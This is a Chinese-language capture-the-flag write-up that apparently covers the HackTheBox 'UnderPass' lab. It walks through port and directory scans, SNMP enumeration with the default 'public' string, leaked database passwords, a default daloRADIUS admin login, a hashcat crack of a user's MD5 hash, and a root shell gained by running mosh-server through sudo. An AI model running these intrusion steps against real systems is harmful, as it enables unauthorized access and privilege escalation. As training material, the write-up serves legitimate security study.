信息搜集

访问ip,是apache2的默认页面

扫端口

PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
25/tcp  open  tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp  open  http       Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
110/tcp open  pop3?

扫目录

[16:29:27] Starting: 
[16:29:43] 403 -  276B  - /.ht_wsr.txt                                      
[16:29:43] 403 -  276B  - /.htaccess.bak1                                   
[16:29:43] 403 -  276B  - /.htaccess.orig                                   
[16:29:43] 403 -  276B  - /.htaccess.sample
[16:29:43] 403 -  276B  - /.htaccess.save                                   
[16:29:43] 403 -  276B  - /.htaccess_extra                                  
[16:29:43] 403 -  276B  - /.htaccessBAK
[16:29:43] 403 -  276B  - /.htaccess_sc
[16:29:43] 403 -  276B  - /.htaccessOLD
[16:29:43] 403 -  276B  - /.htaccess_orig
[16:29:43] 403 -  276B  - /.htaccessOLD2                                    
[16:29:43] 403 -  276B  - /.htm                                             
[16:29:43] 403 -  276B  - /.html
[16:29:43] 403 -  276B  - /.httr-oauth                                      
[16:29:43] 403 -  276B  - /.htpasswd_test
[16:29:43] 403 -  276B  - /.htpasswds                                       
[16:29:48] 403 -  276B  - /.php                                             
[16:31:51] 403 -  276B  - /server-status                                    
[16:31:51] 403 -  276B  - /server-status/                                   
                                                                             
Task Completed

打波poc

什么都没扫出来,但是我注意到一个奇怪的端口 161

入侵

研究-SNMP服务

这里不赘述

SNMP-TCP 161 服务渗透

存在默认密码 public

枚举信息

Host IP                       : 10.10.11.48
Hostname                      : UnDerPass.htb is the only daloradius server in the basin!
Description                   : Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
Contact                       : steve@underpass.htb
Location                      : Nevada, U.S.A. but not Vegas
Uptime snmp                   : 17:27:15.63
Uptime system                 : 17:27:05.40
System date                   : 2025-1-8 03:54:43.0

daloradius

daloradius 是什么东西,上网看看

这么说目录还有 /daloradius ?

访问http://10.10.11.48/daloradius/回显403!这说明目录下是有东西的哇

扫目录1

再扫一波目录

有docker文件的泄露

  • docker-compose.yml 下有些密码信息:
    version: "3"
    
    services:
    
      radius-mysql:
        image: mariadb:10
        container_name: radius-mysql
        restart: unless-stopped
        environment:
          - MYSQL_DATABASE=radius
          - MYSQL_USER=radius
          - MYSQL_PASSWORD=radiusdbpw
          - MYSQL_ROOT_PASSWORD=radiusrootdbpw
        volumes:
          - "./data/mysql:/var/lib/mysql"
    
      radius:
        container_name: radius
        build:
          context: .
          dockerfile: Dockerfile-freeradius
        restart: unless-stopped
        depends_on: 
          - radius-mysql
        ports:
          - '1812:1812/udp'
          - '1813:1813/udp'
        environment:
          - MYSQL_HOST=radius-mysql
          - MYSQL_PORT=3306
          - MYSQL_DATABASE=radius
          - MYSQL_USER=radius
          - MYSQL_PASSWORD=radiusdbpw
          # Optional settings
          - DEFAULT_CLIENT_SECRET=testing123
        volumes:
          - ./data/freeradius:/data
        # If you want to disable debug output, remove the command parameter
        command: -X
    
      radius-web:
        build: .
        container_name: radius-web
        restart: unless-stopped
        depends_on:
          - radius
          - radius-mysql
        ports:
          - '80:80'
          - '8000:8000'
        environment:
          - MYSQL_HOST=radius-mysql
          - MYSQL_PORT=3306
          - MYSQL_DATABASE=radius
          - MYSQL_USER=radius
          - MYSQL_PASSWORD=radiusdbpw
          # Optional Settings:
          - DEFAULT_CLIENT_SECRET=testing123
          - DEFAULT_FREERADIUS_SERVER=radius
          - MAIL_SMTPADDR=127.0.0.1
          - MAIL_PORT=25
          - MAIL_FROM=root@daloradius.xdsl.by
          - MAIL_AUTH=
    
        volumes:
          - ./data/daloradius:/data

但是怎么没见到 daloradius 的登录界面

  • Dockerfile
    # Official daloRADIUS Dockerfile
    # GitHub: https://github.com/lirantal/daloradius
    #
    # Build image:
    # 1. git pull git@github.com:lirantal/daloradius.git
    # 2. docker build . -t lirantal/daloradius
    #
    # Run the container:
    # 1. docker run -p 80:80 -p 8000:8000 -d lirantal/daloradius
    
    FROM debian:11-slim
    MAINTAINER Liran Tal <liran.tal@gmail.com>
    
    LABEL Description="daloRADIUS Official Docker based on Debian 11 and PHP7." \
    	License="GPLv2" \
    	Usage="docker build . -t lirantal/daloradius && docker run -d -p 80:80 -p 8000:8000 lirantal/daloradius" \
    	Version="2.0beta"
    
    ENV DEBIAN_FRONTEND noninteractive
    
    # default timezone
    ENV TZ Europe/Vienna
    
    # PHP install
    RUN apt-get update \
      && apt-get install --yes --no-install-recommends \
      ca-certificates \
      apt-utils \
      freeradius-utils \
      tzdata \
      apache2 \
      libapache2-mod-php \
      cron \
      net-tools \
      php \
      php-common \
      php-gd \
      php-cli \
      php-curl \
      php-mail \
      php-dev \
      php-mail-mime \
      php-mbstring \
      php-db \
      php-mysql \
      php-zip \
      mariadb-client \
      default-libmysqlclient-dev \
      unzip \
      wget \
      && rm -rf /var/lib/apt/lists/*
    
    ADD contrib/docker/operators.conf /etc/apache2/sites-available/operators.conf
    ADD contrib/docker/users.conf /etc/apache2/sites-available/users.conf
    RUN a2dissite 000-default.conf && \
        a2ensite users.conf operators.conf && \
        sed -i 's/Listen 80/Listen 80\nListen 8000/' /etc/apache2/ports.conf
    
    # Create directories
    # /data should be mounted as volume to avoid recreation of database entries
    RUN mkdir /data
    ADD . /var/www/daloradius
    
    #RUN touch /var/www/html/library/daloradius.conf.php
    RUN chown -R www-data:www-data /var/www/daloradius
    
    # Remove the original sample web folder
    RUN rm -rf /var/www/html
    #
    # Create daloRADIUS Log file
    RUN touch /tmp/daloradius.log && chown -R www-data:www-data /tmp/daloradius.log
    RUN mkdir -p /var/log/apache2/daloradius && chown -R www-data:www-data /var/log/apache2/daloradius
    RUN echo "Mutex posixsem" >> /etc/apache2/apache2.conf
    
    ## Expose Web port for daloRADIUS
    EXPOSE 80
    EXPOSE 8000
    #
    ## Run the script which executes Apache2 in the foreground as a running process
    CMD ["/bin/bash", "/var/www/daloradius/init.sh"]

尝试密码重用(失败)

ssh密码,碰碰运气,用户名 steve

radius
radiusdbpw
radiusrootdbpw
testing123

扫目录2(成功,确定登录点)

前面有几个目录是301:app/、library/、setup/、doc/,对着app/再扫一波,扫到了!

http://underpass.htb/daloradius/app/users/login.php

弱口令登录

默认密码登录(失败)

尝试默认密码

administrator/radius

弱口令爆破(失败)

我们现在已知:

  • 联系人
    steve@underpass.htb
  • 密码
    radius
    radiusdbpw
    radiusrootdbpw
    testing123

寻找新攻击面

新入口

无果,到网上找下源码看看有没有其它信息

地址:daloradius/app at master · lirantal/daloradius

突然发现网站还有一个目录 operators/,并且下面也有login.php,有没有可能是另一个登录入口?

默认密码登录(成功)

http://underpass.htb/daloradius/app/operators/login.php

尝试默认密码

administrator/radius

成功进入后台!

发现新用户

翻找有没有可用的信息,发现有一个用户 svcMosh

密码md5为:

412DD4759978ACFCC81DEAB01B382403

爆破密码hash

使用 rockyou 的字典

hashcat -a 0 -m 0 "412DD4759978ACFCC81DEAB01B382403" C:\Users\19085\Desktop\wordlists\rockyou\rockyou.txt


还真爆出来了

现在我们有了一组可能的凭据

svcMosh:underwaterfriends

尝试ssh登录(成功)

ssh直接能够登录!

提权

linpeas

sudo -l

mosh-server

Mosh表示移动Shell(Mobile Shell),是一个用于从客户端跨互联网连接远程服务器的命令行工具。它能用于SSH连接,但是比Secure Shell功能更多。它是一个类似于SSH而带有更多功能的应用。程序最初由Keith Winstein 编写,用于类Unix的操作系统中,发布于GNU GPL V3协议下。
Mosh最大的特点是基于UDP方式传输,支持在服务端创建一个临时的Key供客户端一次性连接,退出后失效;也支持通过SSH的配置进行认证,但数据传输本身还是自身的UDP方式。

研究

查看帮助

Usage: mosh-server new [-s] [-v] [-i LOCALADDR] [-p PORT[:PORT2]] [-c COLORS] [-l NAME=VALUE] [-- COMMAND...]

有一个有趣的参数:

安装mosh

sudo apt install mosh

利用

在Server端:

svcMosh@underpass:~$ sudo mosh-server -- /bin/bash


MOSH CONNECT 60001 U2zSkBl45bNNtkgP50q7qQ

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 19180]

这相当于是一个临时登录,开放 UDP 60001端口接收客户端的连接,密钥为 U2zSkBl45bNNtkgP50q7qQ

成功开放

在Client端:

$ export MOSH_KEY=U2zSkBl45bNNtkgP50q7qQ
$ mosh-client 10.10.11.48 65001


提权成功!

总结

外网打了好几天才进去,还是太菜了

  • snmp协议信息泄露很新颖,学习了
⬆︎TOP